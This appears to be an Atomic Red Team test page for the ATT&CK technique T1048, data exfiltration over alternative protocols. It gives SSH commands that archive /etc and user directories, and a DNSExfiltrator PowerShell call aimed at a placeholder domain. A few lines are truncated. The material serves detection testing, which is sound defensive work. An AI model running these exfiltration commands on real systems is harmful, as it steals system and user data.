

# T1048 - Exfiltration Over Alternative Protocol

### **Description from ATT&CK**

Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different protocol channels could also include Web services such as cloud storage. Adversaries may also opt to encrypt and/or obfuscate these alternate channels.

Exfiltration Over Alternative Protocol can be done using various common operating system utilities such as Net/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux curl may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques)

#### **Atomic Tests**

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# Atomic Test #1 - Exfiltration Over Alternative Protocol - SSH

Input a domain and test Exfiltration over SSH

Remote to Local

Upon successful execution, sh will spawn ssh contacting a remote domain (default: target.example.com) writing a tar.gz file.

**Supported Platforms:** macOS, Linux

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Inputs:

Name Description Type Default Value



Attack Commands: Run with sh!

```
ssh #{domain} "(cd /etc && tar -zcvf - *)" > ./etc.tar.gz
```

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## Atomic Test #2 - Exfiltration Over Alternative Protocol - SSH

Input a domain and test Exfiltration over SSH

Local to Remote

Upon successful execution, tar will compress /Users/\* directory and password protect the file modification of Users.tar.gz.enc as output.

Supported Platforms: macOS, Linux

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Inputs:



### Atomic Test #3 - DNSExfiltration (doh)

DNSExfiltrator allows for transfering (exfiltrate) a file over a DNS request covert channel. This is basically a data leak testing tool allowing to exfiltrate data over a covert channel. !!! Test will fail without a domain under your control with A record and NS record !!! See this github page for more details - <a href="https://github.com/Arno0x/DNSExfiltrator">https://github.com/Arno0x/DNSExfiltrator</a>

Supported Platforms: Windows

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#### Inputs:

Name	Description	Type	Default Value
password	Password used to encrypt the data to be exfiltrated	String	atomic
domain	The domain name to use for DNS requests	String	target.example.com
ps_module	DNSExfiltrator powershell ps_module	Path	\$env:Temp\dnsexfil.ps1



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>	T1037.001
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doh	Google or CloudFlare DoH (DNS over HTTP) server	String	google
time	The time in milliseconds to wait between each DNS request	String	500
encoding	Set to '-b32' to use base32 encoding of data. Might be required by some DNS resolvers.	String	

#### Attack Commands: Run with powershell!

```
Import-Module #{ps_module}
Invoke-DNSExfiltrator -i #{ps_module} -d #{domain} -p #{password} -doh #
```

#### Dependencies: Run with powershell!

Description: DNSExfiltrator powershell file must exist on disk at specified location (#{ps\_module})

#### **Check Prereq Commands:**

```
if (Test-Path #{ps_module}) {exit 0} else {exit 1}
```

#### **Get Prereq Commands:**

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